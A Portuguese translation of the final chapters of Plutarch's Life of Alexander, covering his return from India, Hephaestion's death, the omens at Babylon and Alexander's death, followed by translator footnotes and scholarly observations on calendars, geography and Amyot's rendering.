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CX.
O resto da viagem que Alexandre empreendeu pelos rios, para ir ver o
grande Oceano, durou sete meses inteiros: entrando no navio navegou até uma
pequena ilha, à qual chamou de Cilustin (107) e que outros denominam Psituloin,
onde desembarcou e ofereceu sacrifícios aos deuses; de aí contemplou o
espetáculo do grande mar Oceano, a extensão de toda aquela costa marítima,
tanto quanto ali pôde penetrar. Depois, tendo rogado aos deuses, que jamais
conquistador algum depois dele passasse além dos limites da sua viagem, ele
voltou atrás; mas, quis que os navios que estavam no mar, fizessem a volta,
deixando as índias a direita; constituiu a Nearco, comandante da esquadra e
Onesícrito, piloto principal. No entretanto, ele mesmo, se pôs a caminho por
terra, pelo país dos Ontas (108) onde se encontrou em extrema necessidade de
víveres e perdeu muitos homens; não conseguiu por isso levar das índias, a
quarta parte dos soldados que havia trazido, os quais perfaziam um total de
cento e vinte mil combatentes de infantaria e mais ou menos quinze mil de
cavalaria: uns morreram de doenças, outros por terem comido coisas más, outros
por causa do calor e das extremas secas: mas a maior parte morreu de fome,
atravessando uma região não cultivada nem semeada, habitada por pobres homens que
viviam em extrema penúria, não tendo meios
nem recursos, com apenas algumas ovelhas, que eles nutriam de peixes do mar,
cuja carne tem mau cheiro. Por fim, tendo atravessado este país com muitas
dificuldades durante sessenta dias, entrou em Gedrosia, onde encontrou
abundância de toda espécie de alimento, que os governadores lhe forneceram,
bem como príncipes e reis vizinhos mais próximos daquela marca.

(107)Ciluta, segundo Arrieno
que a coloca na embocadura do Indo.
(108)Fazem parte da Gedrosia,
ou com ela limitam-se.

CXI. Depois de ter descansado e refocilado um
tanto seus homens, retomou o caminho através da Carmânia, (109) onde ficou
durante sete dias, banqueteando-se continuamente, percorrendo o país; ele
estava num estrado, mais longo que largo, alto, puxado por oito cavalos, em
contínuo banquete com seus amigos íntimos, noite e dia: a este estrado-carro
seguiam vários carros cobertos, uns com belíssimos tapetes e ricos panos de
púrpura, outros com belos ramos verdes que eram renovados na entrada de cada
acampamento, onde estavam os outros amigos e oficiais, coroados de flores, que
bebiam e os recebiam festivamente. Não se viam capacetes nem lanças, dardos ou
escudos em todo o exército, mas por todo o caminho os soldados empunhavam vasos
com bebidas, taças, copas, (110) copos de ouro e prata, tirando o vinho de
grandes barris e tonéis sem tampa, dos quais todos bebiam, uns andando pelos
campos, caminhando sempre, outros, porém, sentados a mesas; ouviam-se sons de
flauta e oboé, gritos e canções, danças de mulheres que bailavam e sorriam por
todo o caminho: nessa maneira dissoluta de caminhar pelo país em tanta
devassidão, cada qual procurava ainda imitar a imoralidade das Bacanais, como
se o deus Baco estivesse presente em pessoa guiando e dirigindo aquele
espetáculo cómico. Por fim chegou ao palácio real da Gedrosia (111); lá ficou
alguns dias para descansar seus soldados, com festas, banquetes e festins,
onde, diz-se, que um dia depois de ter bebido muito, foi assistir ao concurso
de danças, com prémios; dentre todas, a de Bagoas, um moço, de quem Alexandre
gostava, obteve a vitória e ele ainda vestido como estava, com os atavios do
baile, passou pelo teatro e foi sentar-se perto de Alexandre; os macedônios aplaudiram, puseram-se a bater palmas e
soltar exclamações de alegria, dizendo em voz alta que o beijasse; era tal o
barulho que, por fim ele o tomou nos braços e o beijou diante de todos. Depois
Nearco foi ter com ele e referiu-lhe tudo o que havia feito e visto na sua
viagem de navegação: ele ficou muito satisfeito e teve vontade de navegar
também, de entrar, pela foz do Eufrates, no Oceano, com uma grande esquadra e
costear toda a Arábia e a África, para depois tornar a entrar no mar
Mediterrâneo, pelo estreito das colunas de Hércules: com esse fim mandou
construir grande número de navios, na cidade de Tapsaco, (112) e começou a
reunir os marinheiros para as equipagens, pilotos e homens de todas as classes.

(109)A Carmânia limita-se com a Gedrosia. Estes países estão
ao ocidente do Indo na direção do mar Eritreu. Estrabão fala dos ictiófagos que
limitam com os oritas e se nutrem de peixes, eles e seus rebanhos.
(110)I vasos tericleanos. C.
(111) Veja as Observações.

CXII. Por fim, a dificuldade da viagem que ele
empreendera para a conquista das índias, o perigo que passara combatendo contra
os malianos, e o grande número de homens, que, se dizia, ter ele perdido nessa
expedição, tudo isso juntamente fazia crer que ele jamais chegasse a salvamento
e deu ânimo aos povos, que ele havia conquistado, para se sublevarem e, a seus
lugar-tenentes e governadores das províncias, a ocasião de cometer mil ações
más, roubos, saques, e a opressão dos povos. Numa palavra, isso pôs seus
territórios em grande agitação e causou grandes mudanças, tanto que Olímpia e
Cleópatra, divergindo contra Antípater, dividiram entre elas o seu governo,
tomando Olímpia o reino do Épiro e Cleópatra, o da Macedônia. Alexandre,
sabendo disso, disse que sua mãe tinha sido mui sensata, porque jamais os
macedômos tinham consentido em serem governados por uma mulher. Por isso
mandou de novo Nearco ao mar, determinando encher novamente de armas e de
guerra, todas as costas e todas as províncias marítimas. Ele mesmo em pessoa,
visitando os países afastados do mar, castigava os comandantes e os governadores
que haviam procedido mal no seu cargo, dentre os quais, matou com um golpe de
lança, que lhe atravessou o corpo, a Oxiartes, um dos filhos de Abulites.
Abulites mesmo, não tinha feito provisão alguma de víveres para seu exército,
mas tmha preparado e reunido três mil talentos (113) somente, ele mandou pôr o
dinheiro diante de seus cavalos, os quais não o provaram absolutamente: então ele
lhe disse: "De que me serve agora a tua provisão?" E mandou
prendê-lo.

(112) Nos limites da Síria e
da Arábia, perto do Eufrates.

CXIII. Passando pela Pérsia, renovou o antigo
costume, de quando os reis voltavam de uma longa viagem, davam a todas as
mulheres um escudo (114) a cada uma, e por isso, dizem, que alguns de seus reis
não vinham frequentemente ao país e Oco, dentre eles, jamais lá esteve, nem
mesmo uma única vez, exilando-se voluntariamente de sua pátria, por sua
mesquinhez e avareza, a fim de não fazer semelhante gasto. Tendo encontrado a
sepultura de Ciro, violada e despojada, mandou matar quem a profanara, embora
fosse nativo de Pela, na Macedónia, homem de qualidade, chamado Polímaco (115) : tendo lido a
inscrição que estava gravada em caracteres e na língua persa, quis que também
se escrevesse em letras gregas, por baixo, mais ou menos estas palavras:
"Ó homem, quem quer que tu sejas e de que parte tu venhas, pois eu sei que
virás: Eu sou Ciro, aquele que conquistou o império dos persas, e rogo-te que
não tenhas inveja deste pouco de terra que cobre meu pobre corpo" . Estas
palavras despertaram a compaixão na alma de Alexandre, quando ele considerou a
incerteza e a instabilidade das coisas humanas .

(113)Um
milhão e oitocentos mil escudos. — Amyot. 14.006.225 libras francesas.
(114)Em grego, uma peça de
ouro.

CXIV. Ali mesmo, Calano, tendo estado por certo
tempo indisposto com diarreia, pediu que lhe preparassem uma fogueira, como a
que se faz para cremar o corpo de um morto e foi para lá a cavalo: depois de
ter feito aos deuses a sua oração, derramou sobre si mesmo as efusões que se
costumam derramar sobre os ataúdes dos mortos; cortou uma mecha de seu cabelo,
antes de subir à fogueira, despediu-se de todos os macedônios, que lá estavam,
apertando-lhes
a mão e
rogando-lhes que se alegrassem e fossem banquetear-se com o rei, o qual ele
havia visto pouco antes, na cidade de Babilónia. Ditas estas palavras deitou-se
sobre a fogueira, cobriu o rosto e não se moveu mais, mesmo quando o fogo
começou a envolvê-lo: mantendo-se sempre na mesma posição, em que se deitara,
sacrificou-se a si mesmo, conforme o costume dos sábios do país. O mesmo
fizera, muitos anos antes um outro indiano, que seguia a Júlio César, na cidade
de Atenas e lá se vê, ainda hoje, uma sepultura a que chamam de sepultura do
indiano. Alexandre, voltando, depois de ter visto este fogo, convidou vários de
seus amigos para jantar com ele; então ofereceu o prémio de uma coroa para
aquele que mais bebesse. Venceu, um certo Prômaco, tragando quatro cântaros de
vinho e ganhou a coroa, que valia seiscentos escudos, mas viveu somente três
dias; dos outros, que tomaram parte nesse jogo, de beber à porfia, morreram
quarenta e um, como refere o mesmo Cares, porque sobreveio um grande frio
durante a embriaguez, causada pelo vinho.

(115) Veja as Observações.

CXV. Quando chegaram à cidade de Susa, realizaram-se os
casamentos de seus mais íntimos amigos e ele também desposou Estatira, uma das
filhas de Dário, repartindo igualmente todas as demais damas persas, de sangue
nobre e da mais alta linhagem, aos maiores de seus amigos. Fizeram festas
públicas e solenes dos esponsais dos macedônios, mesmo daqueles que já se
haviam casado antes; nesse banquete, escreve-se, que havia nove mil pessoas
sentadas à mesa; a cada uma delas foi dada uma taça de ouro, para oferecer o
vinho em honra dos deuses: além dessas magníficas demonstrações de luxo ele
perdoou todas as dívidas dos macedônios, que montavam à soma de dez mil
talentos (116) menos cento e trinta. Antígenes, o Zarolho, meteu-se entre os
endividados, por meio de falsos documentos, levando consigo um tal que afirmava
ter ele emprestado dinheiro ao banco. Alexandre fez pagar-lhe a importância:
mas depois verificando contra ele, que tudo era falso, ficou muito irritado e o
expulsou de sua corte, privando-o do cargo de comandante, embora fosse valente
e muito perito na guerra, pois quando ainda jovem, levara um golpe de dardo num
dos olhos, perto da cidade de Perinto, que Felipe havia assediado; queriam arrancar-lhe
o dardo logo em seguida, mas ele não esmoreceu por causa desse ferimento, nem
permitiu que lho arrancassem, antes de ter repelido e levado os inimigos até
dentro de suas muralhas. Recebeu porém, muito sentidamente esta punição, e a
levou tanto a sério, que se via claramente que morreria de dor e de tristeza:
Alexandre temendo isso, perdoou-o e quis ainda que ele conservasse o dinheiro
que lhe havia entregue.

CXVI. Os trinta mil moços que ele tinha deixado ao
cuidado dos mestres para que os educassem, formassem e exercitassem em tudo o
que se refere ao mister da guerra, haviam crescido e se tornado fortes e
valentes, belos de rosto e extraordinariamente dispostos e hábeis para as
armas; vendo-os em seus exercícios, Alexandre ficou extremamente alegre; isso,
porém, desalentou muito os macedônios, enchendo-os de grande temor, porque
julgaram que de então em diante o rei fana menos conta deles: por isso, quando
ele quis mandar para as regiões do sul, perto do mar, os doentes e os
inválidos, que haviam perdido algum membro na guerra, eles responderam que isso
era uma injustiça e uma injúria que ele lhes fazia, afastando de si aqueles
pobres homens, depois de se ter aproveitado de sua atividade, reenviá-los assim
às suas casas, em condições muito diferentes das em que eles então se
encontravam quando foram tirados. Por isso, diziam eles se queria despedir a
uns, o fizesse cem todos, e a todos julgasse inúteis, mesmo porque ele tinha
junto de si, seus belos dançarinos, diziam, com os quais iria acabar de
conquistar toda a terra habitável. Alexandre ficou muito indignado com estas
palavras, de tal modo que lhes lançou toda espécie de injúrias e expulsando
seus guardas ordinários, tomou outros persas, fazendo deles seus guardas
pessoais e satélites, mordomos, porteiros, arautos e executores de suas ordens:
os macedônios vendo-o acompanhado por outros e eles mesmos desprezados,
afastados, rejeitados e vergonhosamente postos de lado, sentiram
deprimir-se-lhes muito a coragem; depois de terem comentado o fato ficaram fora
de si de inveja e de despeito. Finalmente,
fizeram um acordo e foram, espontaneamente, sem armas, seminus, postar-se
diante da tenda do rei, gritando e chorando, rogando-lhe que fizesse deles o
que quisesse, como maus e ingratos, que eram; mas ele, embora sua raiva
começasse a se abrandar não os recebeu, dessa primeira vez; e eles também não
se foram embora; ali ficaram por dois dias e duas noites, diante de sua porta,
naquele estado, lastimando-se e chamando-o de soberano e de rei, até que por
fim, no terceiro dia, saindo de seu aposento e vendo-os aflitos e chorosos, em
estado lastimável, começou também ele a chorar: depois, falou um pouco com
eles, dingindo-lhes palavras amáveis e dando-lhes permissão para se retirar, a
todos os que se tinham tornado inábeis para a guerra, após lhes haver dado
magníficos presentes; escreveu ao seu lugar-tenente Antípater, que em todas as
assembleias de jogos e de divertimentos públicos, eles fossem preferidos e se
sentassem nos melhores lugares, coroados de flores e quis ainda que as crianças
órfãs dos que haviam falecido, ao seu serviço, recebessem o soldo de seus pais.

(116) Seis milhões de ouro, menos setenta e oito mil escudos. —
Amyot. 40.687.750 libras francesas.

CXVIL, Por fim, tendo chegado à cidade de Ecbátana (117), no reino
da Média, depois de ter despachado os negócios mais importantes, deu-se de novo
aos divertimentos, às festas e passatempos públicos, tendo mandado vir da
Grécia uns três mil mestres e operários para tais diversões. Mas, aconteceu,
por aquele mesmo tempo, que Heféstio caiu doente de febre, e como jovem
guerreiro que era, nao teve o necessário cuidado com o alimento; aproveitando a
ocasião, por ter seu médico Glauco se ausentado, porque fora ao teatro ver os
jogos, posse a jantar, comeu frango assado, bebeu um copázio de vinho que
mandara refrescar; a febre, com isso, aumentou e êíe em pouco tempo morreu.
Alexandre muito sofreu com esse fato; mandou amda que as crinas dos cavalos e
burros, em sinal de luto, fossem imediatamente cortadas e que todas as ameias
das muralhas das cidades fossem igualmente abatidas; mandou enforcar o pobre
médico, proibindo que tocassem flauta ou outro qualquer instrumento de música
no seu acampamento até que lhe trouxessem um oráculo de Júpiter Amon, pelo qual
se ordenava que se reverenciasse a Heféstio e se lhe sacrificasse como a um
semideus. Por fim, para mitigar o luto, e passar um pouco o enfado, foi à
guerra, como à caça de homens, onde submeteu a nação dos Cosseios (118)
que exterminou completamente, matando até as crianças; a isso
ele chamou o sacrifício dos funerais de Heféstio. Tendo vontade de gastar em
sua sepultura e no aparato das suas homenagens dez mil talentos (119) e de
sobrepujar ainda as despesas pela singularidade das manifestações e excelência
da arte, ele quis, entre os outros mestres engenheiros, um certo Estasicrates,
porque suas idéias tinham sempre algo de grandioso, de cucado, de magnífico: um
dia, conversando com „ ele, disse-lhe, que de todas as montanhas que ele
conhecia no mundo, nenhuma havia mais própria para dela se modelar a estátua de
um homem, do que o monte Ato na Trácia e, se ele quisesse, fazer-lhe-ia Já a
mais bela e a mais duradoura estátua, de que jamais se teve notícia em todo o
mundo, a qual em sua mão esquerda sustentaria uma cidade habitável por dez mil
pessoas e na direita despejaria um grande rio no mar: todavia Alexandre, não o
quis escutar, mas preferia conversar com os construtores sobre inovações bem
mais exóticas e de muito maior custo e despesa.

(117) Perto do monte Oronte, cidade cuja origem remonta
pelo menos, segundo Heródoto, a Dejoces, rei da Média, isto é, pela 21.»
olimpíada, no ano 58 de Roma. Muito antes, segundo Diodoro da Sicília; muito
depois, segundo Plínio, que certamente está enganado. Havia uma outra cidade
com esse nome na Pérsia e uma na Síria.
(118) É o seu nome, entre outros escritores, mas
Plutarco os chama de Cusseanos. Julgavam-nos ao oriente de Susa, segundo
Plínio; limítrofes com a Média, segundo Arriano. É preciso então colocá-los às
portas de Susa.
(.119) Sete milhões de ouro. —
Amyot. 46.68T.750 libras francesas.

CXVIII. Ao tomar o caminho para Babilónia, Nearco
chegou de novo, do grande Oceano, pelo no Eufrates e disse-lhe, que se haviam
dirigido a ele alguns adivinhos caldeus, que o aconselhavam a não entrar em
Babilónia; Alexandre não deu importância alguma a isso e continuou o
caminho; mas quando estava perto das muralhas, percebeu um grande número de
corvos que crocitavam e se entrechocavam, uns contra os outros, de modo que
alguns chegaram a cair perto dele: tendo-lhe sido referido que o comandante de
Babilónia, Apo-lodoro, tinha sacrificado aos deuses para saber o que seria
dele, mandou chamar o adivinho Pitágoras, para indagar se era verdade. O
adivinho não negou o fato e Alexandre perguntou-lhe quais eram os sinais do
sacrifício: ele respondeu que não haviam encontrado a frente do fígado. "Ó
deuses, disse então Alexandre, eis um grande presságio!", todavia, por
isso não demonstrou nenhum desprazer a Pitágoras, mas bem se arrependeu de não
ter prestado fé às palavras de Nearco.

CXIX. Por isso, ele sempre acampava fora de Babilónia e
distraía-se pelas margens do rio Eufrates: aconteceram vários sinais e
presságios, uns após outros, que o aborreceram. Dentre os quais., um asno comum
atacou o mais belo e o mais forte dos leões de Babilónia e o matou com um
coice. Outro dia, quando ele estava despido para se friccionar com óleo, a fim
de jogar a péla, quando foi retomar suas vestes, os moços que jogavam com ele,
encontraram um homem sentado no seu trono, o qual não disse uma palavra, mas
havia posto o diadema real na cabeça e a veste real, às costas; perguntaram
quem ele era e ele ficou muito tempo sem responder, até que, quase voltando
a si, disse que se chamava Dionísio, nativo de Messina e por algumas acusações
que lhe haviam feito, tinha sido mandado do mar até ali onde o haviam
conservado prisioneiro por muito tempo, mas, há pouco, o deus Serápis tinha-lhe
aparecido, soltando-lhe os ferros e ordenando que tomasse aquelas vestes e o
diadema do rei e se sentasse no trono, sem dizer uma palavra sequer

.CXX. Ouvindo isso, Alexandre mandou matar o
homem, fazendo o que os adivinhos lhe haviam aconselhado: mas ficou imensamente
triste e apreensivo por ser destituído do auxílio dos deuses e também de cair
em breve desconfiança, ante seus amigos, dentre os quais, ele mais temia a
Antípater e seus filhos, do que os outros; um, de nome Iolas, era seu primeiro copeiro
e outro, de nome Cassandro, que há pouco chegara ao país, a primeira vez que
ele viu alguns bárbaros fazendo reverência a Alexandre, sendo educado na
Grécia, jamais havia visto coisa semelhante; começou então a rir-se com tanta
força e com ruído que irritou Alexandre; este agarrou-o pelos cabelos, com
ambas as mãos e bateu-lhe a cabeça na parede. Outra vez, Cassandro se pôs a
responder a alguns, que acusavam a Antípater, seu pai; Alexandre repreendeu-o
acremente, dizendo-lhe: "Que queres alegar? Pensas que esta gente
empreendeu tão longa viagem para caluniar injusta e falsamente teu pai, se ele
não lhes tivesse feito alguma injustiça?" Cassandro, então replicou-lhe,
que aquilo mesmo que ele dizia era indício evidente e presunção grande de
calúnia, que eles tinham vindo de tão longe a fim de que não se pudesse com
muita rapidez verificar e confirmar a falsa acusação: pelo que Alexandre se pôs
a rir alto, dizendo: "Eis as argúcias e sutilezas de Aristóteles, para
provar o pró e o contra; mas isso não impedirá que eu vos castigue bem, se
conseguir provar que fizestes injustiça a esta gente". Em suma, dizem que
desde então ele imprimiu bem na mente de Cassandro um tal medo, que durou por
muito tempo; mais tarde, quando ele já era rei dos macedônios e tinha toda a
Grécia em suas mãos, passeando pela cidade de Delfos e olhando as estátuas que
lá existem, viu uma de Alexandre e ficou tão assustado, que seus cabelos se
eriçaram na cabeça e ele tremeu tanto que muito tempo levou para de novo se
acalmar.

CXXI. Alexandre, depois que se deixou dominar por
essa desconfiança do auxílio dos deuses, ficou meio perturbado dos sentidos e
tão abalado, em seu juízo, que nada por menor que fosse, lhe sucedia que ele
não tomasse logo um sinal de presságio celeste; seu aposento estava sempre
cheio de sacerdotes e de adivinhos, que sacrificavam ou que o purificavam ou
que se davam às adivinhações: tanto poder tem e eficácia de um lado a descrença
e a impiedade, no desprezo dos deuses quando penetra no coração dos homens e
por outro lado, também a superstição, serpeando como a água, por entre almas
tímidas e abatidas pelo temor, a qual então encheu Alexandre de loucura, uma vez
que o temor dela se apoderou.

CXXII. No entretanto, chegaram-lhe algumas respostas,
relativamente a Heféstio, do oráculo de Júpiter Amon; ele então deixou o luto e
se pôs novamente a dar banquetes e a fazer sacrifícios; homenageou
magnificamente a Nearco; depois de se ter banhado como de costume, para dormir,
veio um de seus oficiais, Médio, convidá-lo para um banquete, que ele dava em
sua residência. Alexandre aceitou-o: lá bebeu toda a noite até o dia seguinte;
a tal ponto que teve febre, não por ter bebido toda a taça de Hércules, como
alguns escrevem, mas por ter sentido repentinamente uma forte dor entre as
espáduas, como se lhe tivessem dado um golpe de lança: tudo isso, porém,
parecem coisas escritas por pura invencionice por alguns que quiseram tornar o
fim desta grande tragédia, por assim dizer, mais lamentável e digno de piedade:
mas Aristóbulo diz, que tendo uma febre violenta e uma grande alteração, bebeu
vinho, começou a variar e por fim morreu, no trigésimo dia do mês de junho (120) : no diário de sua casa está escrito detalhadamente tudo o que ele fazia,
e lê-se que, a dezoito de junho, ele adormeceu no banho porque tinha febre.

(120) Em grego, no mês
Daésio. Veja as Observações.

CXXIII. No dia seguinte depois de se ter lavado e banhado
foi para seu quarto, passou todo o dia em casa de Médio, jogando dados, depois,
já bem tarde, após se ter banhado e sacrificado aos deuses, comeu e teve febre
durante a noite: a vinte, tendo-se banhado de novo e feito o sacrifício
ordinário aos deuses, pôs-se à mesa, mesmo dentro da sala de banho, escutando,
ao mesmo tempo a Nearco que lhe falava das suas viagens, das coisas que havia
visto e do grande Oceano: a vinte e um, depois de ter feito o mesmo, sentiu-se
ainda mais abrasado do que nunca, ardendo em febre alta, durante a noite e todo
o dia seguinte; fez-se levar então no seu leito para o grande salão, onde
conferenciou com seus generais a respeito de algumas praças fortes e livres,
onde colocar seus exércitos, ordenando-lhes que para lá só mandassem soldados
bem experimentados , A vinte e três, tendo a febre aumentado ainda mais, ele se
fez levar para os sacrifícios e ordenou que seus principais comandantes
ficassem sozinhos com ele em seu apartamento e os outros menores, como
centenários e comandantes de grupos, vigiassem e ficassem de sentinela, fora. A
vinte e quatro, fez-se levar ao outro palácio real, além do lago, onde dormiu um pouco, mas a
febre não o deixava e quando seus oficiais vieram para cumprimentá-lo e
visitá-lo, ele não falava mais: assim passou o dia vinte e cinco, de modo que
os macedônios pensaram que ele tinha morrido, e por isso vieram bater às portas
do palácio, clamando, ameaçando seus amigos até que obrigaram a abrir: passaram
depois, um por um, desfilando perto do seu leito. Naquele dia Piton e Selêuco
por ordem dos principais amigos do rei, foram mandados ao templo do deus
Serápis, para saber se para lá levariam Alexandre. O deus lhes respondeu que o
deixassem onde estava: lá ele morreu na tarde do dia vinte e oito. Assim está
escrito, quase ao pé da letra, com estas mesmas palavras, no diário de sua
casa.

CXXIV. No momento ninguém suspeitou que ele tivesse sido
envenenado: mas, diz-se, que seis anos depois, descobriram alguns indícios
disso, pelo que, sua mãe Olímpia mandou matar muita gente, lançou ao vento as
cinzas de Iolas, que antes morrera, porque se dizia, que fora ele que lhe dera
o veneno para beber. Os que afirmam ter sido Aristóteles, que aconselhou
Antípater a fazê-lo, por meio do qual lhe foi dado o veneno, dizem que um certo
Agnotemis assim o narra, depois de o ter ouvido do rei Antígono: e foi o
veneno, ao que dizem, uma água fria como gelo, que é destilada numa rocha no
território da cidade de Nonacris e recolhida como um orvalho, no côncavo do
casco de um asno, porque não há outra espécie de vasilha que a possa conter,
tão fria ela é, e penetrante. Outros afirmam que tudo o que se diz desse
envenenamento é falso e alegam para prová-lo, um argumento que não se deve
desprezar, e é que os principais generais, logo que ele morreu, desentenderam-se
completamente entre si, por isso o corpo ficou vários dias completamente nu e
insepulto, num país quente e abafado: e, no entretanto, jamais apareceu sinal
algum no corpo que causasse suspeita, nem fizesse desconfiar-se de veneno, mas
manteve-se sempre limpo, perfeito e inteiro.

CXXV. Ele deixou Roxana grávida, a qual nessa ocasião
era honrada e venerada pelos macedônios, mas ela odiava muito a Estatira, por
um ciúme que havia concebido contra ela; Roxana enganou-a por meio de uma carta
falsa que lhe mandou, como se Alexandre a chamasse para junto dele: logo que
ela chegou, Roxana matou-a, ela e sua irmã, e depois jogou-lhes o corpo dentro
de um poço, que depois mandou encher, com o conhecimento e o auxílio de
Perdicas, o qual depois da morte de Alexandre, teve grande autoridade e poder
por causa de Arideu, que ele sempre levava consigo como salvaguarda de sua
autoridade real Arideu tinha nascido de uma mulher
de condição baixa e pública, chamada Filina, e não tinha, afinal, bom senso,
por uma indisposição de sua pessoa, que não procedia da natureza, nem de outro
acidente qualquer fortuito: pois, ao contrário, diz-se, que na sua primeira
infância teve uma boa e amável natureza, mas, depois o corpo, estragado por
alguma beberagem que Olímpia lhe dera, e o juízo, vieram a se ressentir por
essa causa e ele degenerou.


OBSERVAÇÕES
SOBRE A VIDA DE ALEXANDRE. O GRANDE
CAP. V.. No grego está a palavra hécatombeon. Nós já dissemos que esse mês ático corresponde, para a maior parte, não ao mês de junho, mas ao de julho; pois começava na lua nova mais próxima do solstício de verão, antes ou depois do solstício, segundo o padre Pétau, depois do solstício, somente, segundo Escalígero. Assim, se supusermos com Dodwell que no primeiro ano da eentésima-segunda olimpíada, o mês ático hécatombeon começou a 14 de julho, 6 do mês de hécatombeon, cairá a 19 de julho; é um duplo erro,, que Amyot comete em todas estas circunstâncias, não somente porque èle desorganiza as verdadeiras relações dos meses, mas ainda porque, dando data por data, êle supõe um começo imóvel em meses que, sendo lunares, não podiam deixar de ser variáveis como a lua que os regulava. Quanto à comparação dos meses áticos com os meses macedônios esta matéria esgotou as indagações dos sábios, sem que eles se pudessem pôr de acordo. Nós os vamos apresentar ao leitor na ordem estabelecida pelo padre Corsini sem pretender preferi-lo à de Dodwell ou de Pétau.

Meses Áticos Hécatombeon Métageitnion Boédromion Mémactérion Pyanepsion Poseidon Gamélion Anthestérion Élaphébolion Munichion Thargélion Scirrophorion

Macedônios
Lous
Gorpiaeus Hyperberefcseus Dius
Apellaeus
Audynaeus
Peritius
Dystrus
Xanticus
Artémisius
Daésius
Panemos

Romanos
Julho
Agosto
Setembro
Outubro
Novembro
Dezembro
Janeiro
Fevereiro
Março
Abril
Maio
Junho

 

O ano dos macedónios começava com Dius, no equinócio de outono.

CAP. XII.. Creio que Amyot é o único que conheceu esta edição da Ilíada chamada la correcte. A palavra grega significa uma espécie de cofrezinho onde se punham perfumes ou drogas medi­cinais. Entre os móveis preciosos de Dário, Alexandre havia tomado um cofre desse género, de ouro, adornado de diamantes, onde éle en­cerrou, com efeito, o exemplar da Ilíada de Homero, que sempre trazia consigo, segundo o que diz Plínio, 1. VII,

cap. XIX. Fala­remos desse cofre na continuação desta Vida de Alexandre. Assim, seria preciso traduzir: o exemplar conhecido sob o nome de exem­plar do cofre.

CAP. XVII.. Não é Medeia quem diz esse verso, citado por Plutarco, e Plutarco não lho atribui absolutamente; éle diz somente que Alexandre citou a Pausânias, esse verso, da tragédia de Medeia. É o 288 da Medeia de Eurípides; está na boca de Créon que diz à Medeia: "Eu sei que na tua cólera tu ameaças cas­tigar este esposo e aquela à qual êle se vai unir e aquele que a en­trega aos seus braços".

CAP. XXX.. Eis o que diz Estrabão com relação a essa passagem: "Perto de Faselis, cidade da Lídia (que Amyot chama Faselina) há uma montanha chamada Clímax (palavra grega que significa escada). Avança para o mar da Panfília. de maneira que aperta bastante a costa, e deixa aos viajantes apenas uma passagem muito estreita. No tempo da calmaria ela está seca, mas quando o mar se enche, ela o cobre com suas águas. Alexandre aí chegou no inverno, com tempo péssimo; preferiu confiar na sorte do que esperar a bonança e a retirada das águas e mandou seus soldados marchar, os quais levaram um dia inteiro para atravessar esse passo, tendo água até o umbigo".

CAP. XXXII.. Esta palavra Asgande é desconhecida dos sábios. Astande, que com ela muito se parece, é conhecida por Eustathe e Suidas. Ambos a tomam por uma palavra persa, que significa a mesma coisa que Angare, outra palavra persa que sig­nifica uma mensagem. Dário que era, segundo Diodoro de Sicília, de sangue real, não podia sem dúvida ser um simples mensageiro; mas éle bem podia ter sido o que nós chamaríamos superintendente do correio ou ter tido junto do rei Oco, seu predecessor, a jurisdição de seus negócios particulares e de suas ordens secretas.
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CAP. LVIII. Deve-se escrever Gaugamele. segundo Estrabão e Arrieno. É uma aldeia situada entre o Tigre e o Laco, bastante perto de um outro rio de nome Bumade ou Bumale, a vinte e cinco léguas, mais ou menos, de Arbelas, outra aldeia ou cidadezinha, segundo alguns, situada ao oriente de Gaugamele, entre o Lico e o Caper. Os que lerem em Quinto Cúrcio a descrição das marchas de Alexandre e de Dário, para chegar ao lugar desse com­bate, julgarão, por essas posições certas, que o historiador latino de Alexandre, conheceu mal a situação dos lugares de que ele fala. ou que a ignorância dos copistas desfigurou-lhe o texto.Ibid. pág. 81. O mês de agosto é ainda um erro de Amyot. Há no grego boédromion, setembro, segundo o que dissemos nas Observações, no tomo III e na primeira destas Observações sobre a Vida de Alexandre. Plutarco, ou melhor, seus copistas, esqueceram aqui a data do mês. Mas na Vida de Camilo êle diz que a batalha de Arbelas (ela era conhecida por esse nome, embora se tenha realmente travado perto de Gaugamele) deu-se a 26 do mês boé­dromion. Éle diz aqui que foi no ll.« dia depois do eclipse da lua, que se deu na época da (grande) festa dos Mistérios (de Ceres) em Atenas. Começava a 15 do mês de boédromion, segundo Meursio e 0 padre Pétau. Plutarco está pois de acordo com éle mesmo e sua autoridade, apoiada pelas tabelas astronómicas, citadas pelo padre Pétau, (Doutrina dos tempos. 1. X, cap. 36) colocando o eclipse a 20 de setembro e a batalha a l.« de outubro, parece incontestavel­mente preferível à de Arrieno, que põe este combate no mês pyanep-sion, isto é, de novembro.

CAP. LIX.. Nada há qus trocar aqui, diga o que disser o sábio Dusoul, no texto de Plutarco, mas somente substituir-se na tradução de Amyot. um nome de rio que não está no grego, pelo de montanha. ‘-Eu não sei, diz Dusoul, porque se traz aqui os montes Nifates e Gordianos, da Arménia, para a Mesopotâmia”.Ninguém, eu creio, encarregar-se-ia de tal incumbência. De-vem-se deixá-los no lugar que Estrabão lhes destina, 1. XI, pág. 793. A passagem é clara. A primeira montanha de que êle fala é o monte Tauro. que avança da Capadócia e da Comagena para o oriente. Divide, acrescenta êle, a Arménia, da Mesopotâmia. Essa parte da cadeia é chamada por’ alguns de montes Gordianos. Éle se eleva depois e toma o nome de Nifates. onde está a nascente do Tigre. Eu não tenho necessidade de discutir essa posição da nas­cente do Tigre, no que Estrabão e Ptolomeu não estão de acordo. 489 Mas fica sempre de pé, segundo o texto, que os montes Gõrdiartos e Nifates prolongam-se e se estendem do ocidente para o oriente, entre a parte meridional da Arménia e a setentrional da Mesopo­tâmia. Gaugamele está na parte setentrional da Mesopotâmia. Não se deve pois admirar de que a luz dos inúmeros fogos acesos pela multidão prodigiosa dos barbares, iluminasse as montanhas, a várias léguas de distância e o clarão produzisse um espetáculo assustador.

CAP. LXII.. Êle era da cidade de Salamina na ilha de Chipre, filho de Acesas. O pai e o filho eram muito famosos na arte do bordado, muito cultivada em Chipre. Atenas nos conservou uma inscrição do templo de Delfos, que mostra o grau de fama a que estes dois artistas tinham chegado. Isto, diz o epigrama, é obra de Helicon de Salamina, filho de Acesas. A imortal Palas depositou em suas mãos todas as graças de sua arte divina. Eus-tato os cita também como os homens mais célebres na arte do bordado. Mas nem um, nem outro nos falam da sua idade.

